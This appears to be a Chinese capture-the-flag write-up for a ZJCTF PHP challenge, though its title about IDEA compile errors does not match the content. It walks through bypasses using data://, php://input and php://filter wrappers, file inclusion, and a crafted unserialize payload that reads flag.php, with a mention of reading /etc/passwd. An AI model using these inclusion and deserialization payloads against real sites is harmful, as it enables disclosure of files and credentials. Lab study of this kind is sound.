程式碼沒問題IDEA編譯不通過的終極解決方案
一、靶場首頁(題目原始碼)
<?php $text = $_GET["text"]; $file = $_GET["file"]; $password = $_GET["password"]; if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ #file_get_contents() 函式是用於將檔案的內容讀入到一個字串中的首選方法 echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; if(preg_match("/flag/",$file)){ # preg_match 函式用於執行一個正則表示式匹配。 echo "Not now!"; exit(); }else{ include($file); //useless.php $password = unserialize($password); echo $password; } } else{ highlight_file(__FILE__); } ?>
從程式碼可以看出首先是需要get傳參text,file,password。再往下可以確定text要求傳入檔案,且內容為welcome to the zjctf,可以通過偽協議傳入;file需要通過檔案包含一個檔名,且雖然正則過濾了flag,但提示了useless.php,所以可以也利用偽協議讀取。
二、第一個繞過點
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
$text需要輸入"welcome to the zjctf"並傳入檔案中,可以將內容寫入data偽協議中(一般為了繞過一些過濾會進行base64編碼),讓file_get_contents函式讀取。也可以通過php://input偽協議用post的方式傳入"welcome to the zjctf"
data偽協議:
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
php://input偽協議
url:http://xxxx:xxxx/?text=php://input
POST資料:welcome to the zjctf
三、第二個繞過點
if(preg_match("/flag/",$file)){ # preg_match 函式用於執行一個正則表示式匹配。 echo "Not now!"; exit(); }else{ include($file); //useless.php $password = unserialize($password); # 反序列化 echo $password; }
$file無法直接讀取flag,可以直接讀取/etc/passwd,但針對php檔案還需要進行base64編碼,否則讀取不到其內容。所以無法使用file=useless.php,可以使用php://filter偽協議來讀原始碼(使用其自帶的base64過濾器)
file=php://filter/read=convert.base64-encode/resource=useless.php
構造payload如下:
http://xxxx:xxxx/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php
得到一串編碼:
PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo=
進行base64解碼即可得到useless.php原始碼
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
四、第三個繞過點
include($file); //useless.php
$password = unserialize($password); # 反序列化
echo $password;
現在只需要在檔案內包含了useless.php檔案後,利用unserialize()
函式進行反序列化即可執行Flag類內的__tostring函式。
通俗一點解釋,就是將一個序列化後的物件即一串字串傳給$password,經過反序列化會得到一個例項物件。那麼如果將一個useless.php中的Flag物件(其中$file引數的值為flag.php)序列化後得到的字串傳給$password,經過反序列化後就會變成了一個例項物件。
在本地執行下面程式碼:
<?php
class Flag{
public $file='flag.php';
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$password=new Flag();
echo serialize($password);
?>
結果為:
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
最終的payload:
http://xxxx:xxxx/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:8:%22flag.php%22;}
file=php://filter/read=convert.base64-encode/resource=useless.php只能讀取檔案內容,不能執行。
如果最終payload需要能夠執行Flag類中的東西,就必須要被“包含”而不是“被讀取”,所以要用file=useless.php實現flag類中的file_get_contents執行讀取flag。
五、get一個小flag
六、參考連結
https://www.redmango.top/article/13